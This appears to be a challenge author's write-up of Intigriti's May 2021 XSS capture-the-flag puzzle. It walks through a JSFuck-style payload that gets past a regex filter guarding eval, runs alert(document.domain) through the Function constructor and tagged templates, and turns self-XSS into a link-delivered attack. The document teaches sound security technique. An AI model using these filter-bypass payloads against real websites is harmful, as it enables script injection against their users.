Solution and explanation of tips for Intigriti’s 0521 XSS challenge — by @GrumpinouT
2021-06-13 14:23:02 Author: infosecwriteups.com(查看原文) 阅读量:116 收藏

GrumpinouT

Challenge page

Challenge page

This month’s (May 2021) XSS challenge by Intigriti was created by me (with some additions by Inti). In this article, I will explain my solution for the challenge and the tips that were given.

In the application, two random numbers are given and the sum of the first number plus the user’s input, had to result in the second number. After clicking submit, a progress bar is shown, and when it’s full. The user will receive a message.

If the equation was correct, the message will state that the user is not a robot. Otherwise, the user will be notified that he’s a robot.

After looking at the code of the application, we see that the functionality is actually stored on the page captcha.php, and that it’s loaded via an iframe.

Iframe containing captcha.php

Iframe containing captcha.php

If we go look at captcha.php, we can see that the user’s input will be added to the operation variable together with the two random numbers. After that, it is checked with the following regex /[a-df-z<>()!\\='"]/gi and there’s a comment to explain why the letter e is allowed.

Once the input passed the regex, it will be executed in the eval function. So all we have to do is find a payload that’s allowed by the regex and we solved the challenge.

Javascript code with regex and eval

JavaScript code with regex and eval

I won’t go into much detail on this part, since it will make this write-up very long, but the solution is based on the fact that that strings could be formed in a JSFuck like way to retrieve the needed characters. I’ve used three strings to get to the final payload. The first one is "undefined", which can be retrieved easily as shown below.

[[][0]+[]][0][2] = "undefined"

[][0] gives us undefined but not as a string, so we can’t retrieve the necessary characters yet. To get it as a string we need to add [] to it, put that entire part in an array, and retrieve it again with index 0.

Next, with the letters previously retrieved, we can access a new string, that gives us access to more characters. Out of simplicity and readability, I did not encode the characters needed to retrieve this string. You might not know this, but properties of objects in JavaScript can be accessed in two ways. As an example, I will use the document object. To retrieve the domain parameter, it can be done like this document.domain, or like this document["domain"], this last trick is needed for the solution. Below the find property of an empty array is accessed. The same concept as with undefined has been used, to retrieve the string.

[[]["find"]+[]][0] = "function find() { [native code] }"

With these two strings, we have almost every character we need, but we still need some more. For that, the letter e is needed.

HTML of the form

HTML of the form

As you can see in the image above, the progress bar has id e. The html element can be accessed with it’s id as shown below.

Accessing the progress bar with it’s id

Accessing the progress bar with it’s id

With this knowledge, we can retrieve a new string that again, contains more characters that we need.

[e+1][0] = "[object HTMLProgressElement]1"

If we now encode alert(document.domain), we get the following payload (even though single and double quotes aren’t allowed by the regex, we can bypass this with backticks (`), so there’s no need to encode . and e if we need those as a string.

[[][[[][[]]+[]][+[]][4]+[[][[]]+[]][+[]][5]+[[][[]]+[]][+[]][1]+[[][[]]+[]][+[]][2]]+[]][0][20]+[e+1][0][21]+`e`+[e+1][0][16]+[e+1][0][6]+[[][[e+1[0]][0][32]+[e+1[0]][0][33]+[e+1[0]][0][34]+[e+1[0]][0][36]]+[]][0][13]+[[][0]+[]][0][2]+[e+1][0][1]+[e+1][0][5]+[e+1[0]][0][28]+[e+1][0][23]+[e+1][0][4]+[e+1][0][25]+[e+1][0][26]+`.`+[[][0]+[]][0][2]+[e+1][0][1]+[e+1][0][23]+[[][[[][[]]+[]][+[]][4]+[[][[]]+[]][+[]][5]+[[][[]]+[]][+[]][1]+[[][[]]+[]][+[]][2]]+[]][0][20]+[[][0]+[]][0][5]+[e+1][0][25]+[[][[e+1[0]][0][32]+[e+1[0]][0][33]+[e+1[0]][0][34]+[e+1[0]][0][36]]+[]][0][14]

If we try this on the challenge page, nothing interesting happens…

That’s because if the payload is executed, we just get the string "alert(document.domain)" as a return instead of the actual function.

To execute the alert string, we need a Function constructor. This function returns an anonymous function, of which the parameters are the first n amount of parameters in the constructor, and the body is the last one. The anonymous function can then be called by adding parenthesis (which we can’t use because of the regex) at the end like this:

Function(“param1”, “alert()”)()

The function is retrieved the same way that we got the find function, by accessing properties of an empty array. First we get the constructor property of the array, which returns the function that created the instance of the object, in this case Array(). This instance is created by Function(), which can be accessed by calling the constructor property again. We can now use backticks to replace the parenthesis.

[]["constructor"]["constructor"]`"alert(document.domain)"```

But if we execute this function, we get an undefined back, and the alert doesn’t trigger. If we examine the output of the constructor, without calling it (read: remove last two backticks), then we get the following output:

ƒ anonymous(
) {
"alert(document.domain)"
}

As you see, the alert is placed between quotes, and thus won’t be executed by calling the function.

To resolve that issue, we can put the string inside a template literal placeholder. At this moment we’re working with tagged templates.

When you’ve putted the string inside the placeholder, you will still receive an error about a comma upon executing.

Error with constructor

Error with constructor

If we have a look at the Mozilla docs of tagged templated, we notice that if we have the following template literal:

`string1 ${"alert(document.domain)"} string2`

it is passed to the function constructor like this:

Function([“string1”, “string2”], “alert(document.domain)”)

As mentioned earlier, the first arguments are the parameters of the anonymous function, and for some reason the previous code does exactly the same when the values in the array are removed from the array and just passed like that (see example below).

Function(“string1”, “string2”, “alert(document.domain)”)

When the template literal does not contain any strings, an array with two empty strings will be passed to Function(). In that case the output would have been:

ƒ anonymous(,
) {
alert()
}

because of the two empty strings that are used as parameters in this function, the error was thrown. The fix would be to just add a character before the placeholder like this so that the output would not throw an error and would look like:

ƒ anonymous($,
) {
alert()
}

The final payload looks like this:

[][[e+1][0][5]+[e+1][0][1]+[e+1][0][25]+[e+1][0][19]+[e+1][0][6]+[e+1][0][16]+[e+1[0]][0][28]+[e+1][0][5]+[e+1][0][6]+[e+1][0][1]+[e+1][0][16]][[e+1][0][5]+[e+1][0][1]+[e+1][0][25]+[e+1][0][19]+[e+1][0][6]+[e+1][0][16]+[e+1[0]][0][28]+[e+1][0][5]+[e+1][0][6]+[e+1][0][1]+[e+1][0][16]]`$${[[][[[][[]]+[]][+[]][4]+[[][[]]+[]][+[]][5]+[[][[]]+[]][+[]][1]+[[][[]]+[]][+[]][2]]+[]][0][20]+[e+1][0][21]+`e`+[e+1][0][16]+[e+1][0][6]+[[][[e+1[0]][0][32]+[e+1[0]][0][33]+[e+1[0]][0][34]+[e+1[0]][0][36]]+[]][0][13]+[[][0]+[]][0][2]+[e+1][0][1]+[e+1][0][5]+[e+1[0]][0][28]+[e+1][0][23]+[e+1][0][4]+[e+1][0][25]+[e+1][0][26]+`.`+[[][0]+[]][0][2]+[e+1][0][1]+[e+1][0][23]+[[][[[][[]]+[]][+[]][4]+[[][[]]+[]][+[]][5]+[[][[]]+[]][+[]][1]+[[][[]]+[]][+[]][2]]+[]][0][20]+[[][0]+[]][0][5]+[e+1][0][25]+[[][[e+1[0]][0][32]+[e+1[0]][0][33]+[e+1[0]][0][34]+[e+1[0]][0][36]]+[]][0][14]}```

and translates to:

[]["constructor"]["constructor"]`${"alert(document.domain)"}```

To escalate the self-XSS, a little bit of guess work was needed, but this shouldn’t have been that hard. The payload could be send via a GET or POST request, in the b or c parameter (which were the id’s of the elements that are impacted with these parameters). The payload should be encoded, because otherwise the + will be handled as a space.

Step 1: Click here to open the webpage with payload prefilled in the input field
Step 2: Click submit

Tip 1

This was a reference to the letter e that was needed to receive the necessary characters. If you clicked on the video, you heard Rihanna sing “e e e e e…”

Tip 2

Here was hinted to the square and curly brackets that are used in the payload.

Tip 3

Since Travis had a previous job in the construction industry, I thought it was nice to include him in the tip, the word “construction” has been changed to “constructor” as a reference to the Function constructor that was necessary to execute code.

Tip 4

The final tip was to hint about the way that characters are retrieved via their index.

Tip 5

There actually was no tip 5 published, but if the announcement tweet would have received 500 likes, the following tip would have been released:

How does a game of tag function?

As a reference to the tag function that was used to bypass the parenthesis limitation.

Since I’ve never seen an XSS challenge making use of JSFuck, I wanted to include something similar in the challenge, so that participants would learn to understand the idea behind it. Of course just copy pasting a JSFuck payload would have been too easy. I did some research online and came upon an article that I’ve read in the past.

The article is called “Executing non-alphanumeric JavaScript without parenthesis” by @garethheyes.

I started to look into the payload used in the article, to figure out what characters could be removed/replaced with other characters. I started with removing the exclamation mark, but then quite a few tricks weren’t possible anymore, since there was no way to get numbers without the Boolean that the exclamation mark brought us. To compensate for that limitation, I decided to allow numbers in the payload. Now there were only three characters left to get (r, m and s). I chose to use the progress bar, which is the only element I found that gave access to all three. I know that I could have used an element like iframe that only gave access to r and m, and that way the s could have been retrieved with e["outerHTML"] which returns the following:

"<iframe src=\"./captcha.php\" width=\"450\" height=\"90\" frameborder=\"0\" id=\"e\"></iframe>"

But I didn’t want to limit the user too much. I just wanted them to understand the following concepts:

  • Executing JavaScript with a limited amount of characters
  • Using the Function constructor
  • Executing functions without parenthesis
  • Understanding tagged templates

Even though finding a solution with understanding only some of these points is possible, participants learned of the existence for these concepts and can research more on it if they wish to.

For example someone could find a solution without knowing how the Function constructor works by copying the method of G. Heyes. Which is how I started, but because of this challenge, I started to research how all the concepts work.

Thank you all for participating and the good feedback! I really enjoyed reading all of your reports!

Also a big thanks to all those who filled in my survey! This really helped me for my thesis.

Some things I’ve learned from this challenge:

  • First of all, I learned a lot about the concepts that were used in this challenge, while creating it.
  • Not everyone likes guessing things in challenges (reference to the parameters b and c)
  • A solution without user interaction would have been better

文章来源: https://infosecwriteups.com/solution-and-explanation-of-tips-for-intigritis-0521-xss-challenge-by-grumpinout-7544bad98e59?source=rss----7b722bfd1b8d--bug_bounty
如有侵权请联系:admin#unsafe.sh